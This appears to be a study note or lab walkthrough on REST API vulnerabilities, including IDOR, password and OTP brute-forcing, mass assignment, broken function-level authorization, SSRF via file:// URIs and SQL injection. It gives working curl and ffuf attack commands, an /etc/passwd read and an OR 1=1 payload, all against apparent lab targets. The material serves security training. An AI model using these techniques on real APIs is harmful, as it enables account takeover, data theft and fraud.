PRIMARY CATEGORY → WEB TECHNOLOGIES

Theory

REST ( Representational State Transfer ) is an architectural style used to design web APIs around resources that are accessed through HTTP endpoints

Clients interact with these resources using standard HTTP methods such as GET, POST, PUT, PATCH and DELETE, while data is commonly exchanged in formats such as JSON

From a security perspective, improper authentication , authorization, input validation or resource exposure can lead to vulnerabilities that allow attacker to access or manipulate data and functionality beyond their intended permissions


BOLA

Broken Object Level Authorization

Also known as IDOR

Authorization Bypass through User-Controlled Key
Scenario

CWE 639

Let’s suppose that we manage to get valid credentials and authenticate to a REST API using the following endpoint →

/api/v1/authentication/suppliers/sign-in

Zoom in

curl --silent --show-error --location --request POST --header 'Content-Type: application/json' --data '{ "email" : "<EMAIL>", "password" : "<PASSWD>" }' '<TARGET>/api/v1/authentication/suppliers/sign-in' | jq .

After authenticating with an email and password, we receive a JWT ( JSON Web Token ) that we can use for subsequent requests to different API endpoints to which we are authorized

Then, we enumerate an interesting endpoint through the Swagger interface:

/api/v1/roles/current-user

Zoom in

curl --show-error --silent --location --request GET --header 'Authorization: Bearer <JWT>' '<TARGET>/api/v1/roles/current-user' | jq .

The endpoint above allows us to list our current roles, namely SupplierCompanies_GetYearlyReportByID

Based on the role name, it seems that we may have permissions to retrieve an annual report for the company we work for

While inspecting other endpoints, we came across the endpoint we were talking about

/api/v1/supplier-companies/yearly-reports/{ID}

Zoom in

The problem here is that it requires an ID field, which we do not know. However, we could start with 1 to see what happens

curl --show-error --silent --location --request GET --header 'Authorization: Bearer <JWT>' '<TARGET>/api/v1/supplier-companies/yearly-reports/1' | jq .

We could think that we get a valid response because the given ID belongs to our company

However, if we try with a different ID

Zoom in

We get valid information again…

From there, we could proceed as follows to retrieve information from all existing companies

for _id in {1..100} ; do curl --show-error --silent --location --request GET --header 'Authorization: Bearer <JWT>' "<TARGET>/api/v1/supplier-companies/yearly-reports/${_id}" | jq . ; done
Conclusion

This implementation presents several problems →

  • Insecure Direct Object Reference ( IDOR )

In the vulnerable endpoint, companies are identified by an ID consisting of at least 1 digit, which is easy to guess

Instead, a GUID should be used to identify an existing company in this case, which is practically impossible to guess

This would reduce the probability of exploit the remaining security flaw

  • Broken Object Level Authorization

In this case, an authenticated user should only be able to retrieve information from their own company, and not about others’ companies as well

So, we can say that the REST API’s RBAC is poorly designed in this specific aspect


Broken Authentication

Broken Authentication

Improper Restriction of Excessive Authentication Attempts

CWE-307

As with BOLA, we manage to retrieve valid credentials for authenticate ourselves to the given REST API as a certain customer

curl --silent --show-error --location --request POST --header 'Content-Type: application/json' --data '{ "email" : "<EMAIL>", "password" : "<PASSWD>" }' 'http://154.57.164.82:30945/api/v1/authentication/customers/sign-in' | jq .

Once we obtain the JWT, we can use it to access any REST API endpoint to which our current user has access

Next, we can enumerate which roles the current user has:

curl --silent --show-error --location --request GET --header 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi...<SNIP>...' '<TARGET>/api/v1/roles/current-user' | jq .

We have several assigned roles. Moreover, it seems that we have permission to update our user data based on the name of UpdateByCurrentUser role

After doing a little research throughout the Swagger interface, we come across the following endpoint

/api/v1/customers/current-user

Zoom in

And we were right! We can use this endpoint to update our current user’s data.

To do so, we create a data.json file containing all necessary information required by the endpoint to update our user data

curl --silent --show-error --location --request PATCH --data '<JSON_DATA>' --header 'Content-Type: application/json' --header 'Authorization: Bearer <JWT>' '<TARGET>/api/v1/customers/current-user' | jq .

We receive a 400 error indicating that the Password must be at least 6 characters long

So, we now know the password policy of the given REST API. We could assume that some customers were registered with a 6-character password

If so, we could try to brute-force the password of one or several specific users, whether they are customers or suppliers

Therefore, we could proceed as follows by attacking the endpoint bellow knowing that we receive a Invalid Credentials. message with wrong credentials

/api/v1/authentication/customers/sign-in

Zoom in

It’s required to know at least one user to be able to brute-force their password

ffuf -v -w '<WORDLIST>' -X POST -H 'Content-Type: application/json' --data '{ "email" : "<EMAIL>", "password" : "FUZZ" }' -u '<TARGET>/api/v1/authentication/customers/sign-in' -fr '<ERROR_MESSAGE>'

Similarly, assuming that there is an endpoint that allows a user to reset its password by providing a valid OTP previously generated

/api/v1/authentication/customers/passwords/resets

Zoom in

Again, knowing a valid email account related to an existing user, we can use the endpoint below first to generate a valid OTP code that will be send to the email account in question

/api/v1/authentication/customers/passwords/resets/email-otps

Zoom in

curl --silent --show-error --location --request POST --header 'Content-Type: application/json' --data '{ "email" : "<EMAIL>" }' '<TARGET>/api/v1/authentication/customers/passwords/resets/email-otps' | jq .

Then, it’s as simple as trying to brute-force the given OTP using the first endpoint

/api/v1/authentication/customers/passwords/resets

Since we do not know how long these OTP codes are, we can start with 4 digits. Moreover, we should send a request with an invalid OTP fist to get the message we have to filter

ffuf -v -w <( seq -w 0 9999 ) -X POST -H 'Content-Type: application/json' --data '{ "email" : "<EMAIL>", "OTP" : "FUZZ", "NewPassword" : "<PASSWD>" }' -u '<TARGET>/api/v1/authentication/customers/passwords/resets' -fr 'false'

And we successfully changed the account’s password. So now we can authenticate ourselves as the given user


Broken Object Property Level Authorization

This category encompasses to subclasses:

Exposure of Sensitive Information due to Incompatible Policies

CWE-213

As with previous examples, we manage to retrieve valid credentials to authenticate to the REST API we are evaluating

So first, we use the endpoint below to sign-in as the given account and obtain a JWT that we can use for subsequent requests to other REST API endpoints

/api/v1/authentication/customers/sign-in

Zoom in

curl --silent --show-error --location --request POST --header 'Content-Type: application/json' --data '{ "email" : "<EMAIL>", "password" : "<PASSWD>" }' '<TARGET>/api/v1/authentication/customers/sign-in' | jq .

Once authenticated, we can check which roles have been assigned to the current user usign the following endpoint

/api/v1/roles/current-user

Zoom in

curl --silent --show-error --location --request GET --header 'Authorization: Bearer <JWT>' '<TARGET>/api/v1/roles/current-user' | jq .

It seems that these roles allows us to list one or all of the suppliers. To do so, we can use the endpoint below

/api/v1/suppliers

Zoom in

curl --silent --show-error --location --request GET --header 'Authorization: Bearer <JWT>' '<TARGET>/api/v1/suppliers' | jq .

And we have verified that we can retrieve information for any existing supplier. In this case, the problem is that some sensitive information is disclosed here, namely the contained within the email and phoneNumber fields

This information should not be exposed to customers

To mitigate the Excessive Data Exposure, the given endpoint should only return fields necessary from the customer’s perspective

Improperly Controlled Modification of Dinamically-Determined Object Attributes

CWE-915

This time we have another set of credentials that we can use again to authenticate to a specific REST API endpoint to receive a JWT for subsequent perform actions such as enumerate our roles

See Exposure of Sensitive Information due to Incompatible Policies

Now we have the roles below →

{
  "roles": [
    "SupplierCompanies_Update",
    "SupplierCompanies_Get"
  ]
}

It seems that they allow us to either modify data related to a supplier’s company and list the supplier’s company data

Since we have UPDATE privileges, we should list which data we can update first

To do so, we can leverage the endpoint below to retrieve data related to the company the current supplier work for

/api/v1/supplier-companies/current-user

Zoom in

curl --silent --show-error --location --request GET --header 'Authorization: Bearer <JWT>' '<TARGET>/api/v1/supplier-companies/current-user' | jq .

We see that there is a field called isExemptedFromMarketplaceFee, which makes the company paying a fee to the marketplace for each sale if the value is 0, as it’s the case

Therefore, we could check if we are able to modify this field to set its value to 1 and thus avoid paying the fee to the marketplace

To do so, we can use the endpoint below related to the SupplierCompanies_Update role

/api/v1/supplier-companies

Zoom in

Based on the picture above, it seems that we can modify the given fee field

The following JSON data will be send along with the JWT previously generated

{
  "UpdatedSupplierCompany": {
    "SupplierCompanyID": "b75a7c76-e149-4ca7-9c55-d9fc4ffa87be",
    "IsExemptedFromMarketplaceFee": 1,
    "CertificateOfIncorporationPDFFileURI": "CompanyDidNotUploadYet"
  }
}
curl --silent --show-error --location --request PATCH --data '@<JSON_FILE>' --header 'Content-Type: application/json' --header 'Authorization: Bearer <JWT>' '<TARGET>/api/v1/supplier-companies' | jq .

We can verify the updated fields by requesting again our company’s information

Zoom in

And we’re exempt from paying fees!


BFLA

Broken Function Level Authorization

The differente between BOLA and BFLA is that, in the case of BOLA, the user is authorized to interact with the vulnerable endpoint, whereas in the case of BFLA, the user is not

Exposure of Sensitive Information to an Unauthorized Actor

CWE-200

Once we have valid credentials, we can use them to authenticate to a specific REST API endpoint to receive a JWT, which represents the identity of the given account

/api/v1/authentication/customers/sign-in

Zoom in

curl --silent --show-error --location --request POST --header 'Content-Type: application/json' --data '{ "email" : "<EMAIL>", "password" : "<PASSWD>" }' '<TARGET>/api/v1/authentication/customers/sign-in' | jq .

Once authenticated, we can check which roles have been assigned to the current user usign the following endpoint

/api/v1/roles/current-user

Zoom in

curl --silent --show-error --location --request GET --header 'Authorization: Bearer <JWT>' '<TARGET>/api/v1/roles/current-user' | jq .

This time, the current user does not have any roles assigned

However, we should check all endpoints even if we do not have access as the REST API’s RBAC may not be properly implemented on a specific endpoint

For instance, when listing endpoints, we find the following →

/api/v1/products/discounts

Zoom in

At first, we see that it requires the user in question be assigned the ProductDiscounts_GetAll role in order to interact

As stated, our current user has no roles, however, we can try to interact with this endpoint to see if the Role-based Access Control is properly implemented on it

curl --silent --show-error --location --request GET --header 'Authorization: Bearer <JWT>' '<TARGET>/api/v1/products/discounts' | jq .

And we retrieve all the existing discounts, therefore we can conclude that they did not implement the role-based access control check


Server-Side Request Forgery

SSRF

CWE-918

As with most previous examples in this note, we must have valid credentials to authenticate to a specific REST API endpoint and obtain a JWT for further actions

After authenticating, existing roles for the current user should be enumerated

{
  "roles": [
    "SupplierCompanies_Update",
    "SupplierCompanies_UploadCertificateOfIncorporation"
  ]
}

This time we have these roles assigned, which are related to the endpoints below, respectively

/api/v1/supplier-companies
/api/v1/supplier-companies/certificates-of-incorporation

But first, we should know to which company the current supplier works for. To do so →

Required Endpoint

/api/v1/supplier-companies/current-user

Zoom in

curl --silent --show-error --location --request GET --header 'Authorization: Bearer <JWT>' '<TARGET>/api/v1/supplier-companies/current-user' | jq .

Once we know the ID of the given company, we can interact with the endpoint responsible for uploading a certificate, namely /api/v1/supplier-companies/certificates-of-incorporation

Zoom in

In this case, as a SWAGGER interface is available under /swagger, we can leverage it to upload a Certificate of Incorporation by providing our company’s ID, such as follows

Zoom in

We receive the following response →

{
  "successStatus": true,
  "fileURI": "file:///app/wwwroot/SupplierCompaniesCertificatesOfIncorporations/blank.pdf",
  "fileSize": 4911
}

The uploaded certificate is stored under the path above using a file:// scheme

If we keep enumerating the SWAGGER interface, we come across an endpoint that retrieves our company’s base64-encoded certificate

/api/v1/supplier-companies/{ID}/certificates-of-incorporation

Zoom in

curl --silent --show-error --location --request GET --header 'Authorization: Bearer <JWT>' '<TARGET>/api/v1/supplier-companies/<COMPANY_ID>/certificates-of-incorporation' | jq .

Furthermore, we have another endpoint where we can update a supplier company information

/api/v1/supplier-companies

Zoom in

If we look closely, we’ll see that we can update the certificate’s URL via this endpoint

Since we know that the URL begins with file:// - which allows to retrieve the content of an existing file system - and there is an endpoint that allows us to retrieve the base64-encoded content of the given certificate as well, what if we replace the certificate’s URI with the path to a file in the system in question?

For instance, we could update the given URL with /etc/passwd and see what happens if we retrieve the supplier’s company data

To do this, we have to create a JSON file corresponding to the HTTP request’s body, which contains all the required information to carry out the update operation

{
  "UpdatedSupplierCompany": {
    "SupplierCompanyID": "b75a7c76-e149-4ca7-9c55-d9fc4ffa87be",
    "IsExemptedFromMarketplaceFee": 1,
    "CertificateOfIncorporationPDFFileURI": "file:///etc/passwd"
  }
}
curl --silent --show-error --location --request PATCH --data '@./supplierCompany.json' --header 'Content-Type: application/json' --header 'Authorization: Bearer <JWT>' '<TARGET>/api/v1/supplier-companies' | jq .

Then, we retrieve the certificate’s base64-encoded content, which should be the content of the /etc/passwd file if it’s vulnerable

Zoom in


Security Misconfiguration

SQL Injection

CWE-89

Having valid credentials to authenticate to a specific REST API endpoint, we can provide the resulting JWT to the endpoint below to enumerate the current user’s roles

/api/v1/roles/current-user

Zoom in

curl --show-error --silent --location --request GET --header 'Authorization: Bearer <JWT>' '<TARGET>/api/v1/roles/current-user' | jq .

Based on the name of the role, we can infer that there may be an endpoint that returns the number of products whose names contain the string provided by the user

And it is! Namely →

/api/v1/products/{Name}/count

Zoom in

For instance, if we want to know how many products whose name contains the string lap exist, simply proceed as follows

curl --silent --show-error --location --request GET --header 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6Imh0YnBlbnRlc3RlcjEyQHBlbnRlc3RlcmNvbXBhbnkuY29tIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiUHJvZHVjdHNfR2V0UHJvZHVjdHNUb3RhbENvdW50QnlOYW1lU3Vic3RyaW5nIiwiZXhwIjoxNzkwMTc2NTI5LCJpc3MiOiJodHRwOi8vYXBpLmlubGFuZWZyZWlnaHQuaHRiIiwiYXVkIjoiaHR0cDovL2FwaS5pbmxhbmVmcmVpZ2h0Lmh0YiJ9._fhuexrWIsATvsohGyxWwcN9yIVxJQ4c48kKCS55BOT5zSVN1j-Ql_QWRwUnWM9ir0vYtasr8Vb5w9mSaGsLfw' 'http://154.57.164.82:32595/api/v1/products/lap/count' | jq .

It seems that the web app is carrying out some type of matching query when receives a request to the endpoint in question

Therefore, we could test for a possible injection if it does not validate and sanitize the user input properly

So, we could try to inject a ' ( Simple quote ) followed by a more complex payload to verify the injection if exists

http://154.57.164.82:32595/api/v1/products/'/count

Zoom in

And we receive an error. However, if we make the resulting query true:

http://154.57.164.82:32595/api/v1/products/%27%20OR%201%3D1%20--%20-/count

i.e. /' OR 1=1 -- -/

We receive the entire inventory of products

Zoom in

So, we can confirm that this endpoint is vulnerable to SQL Injection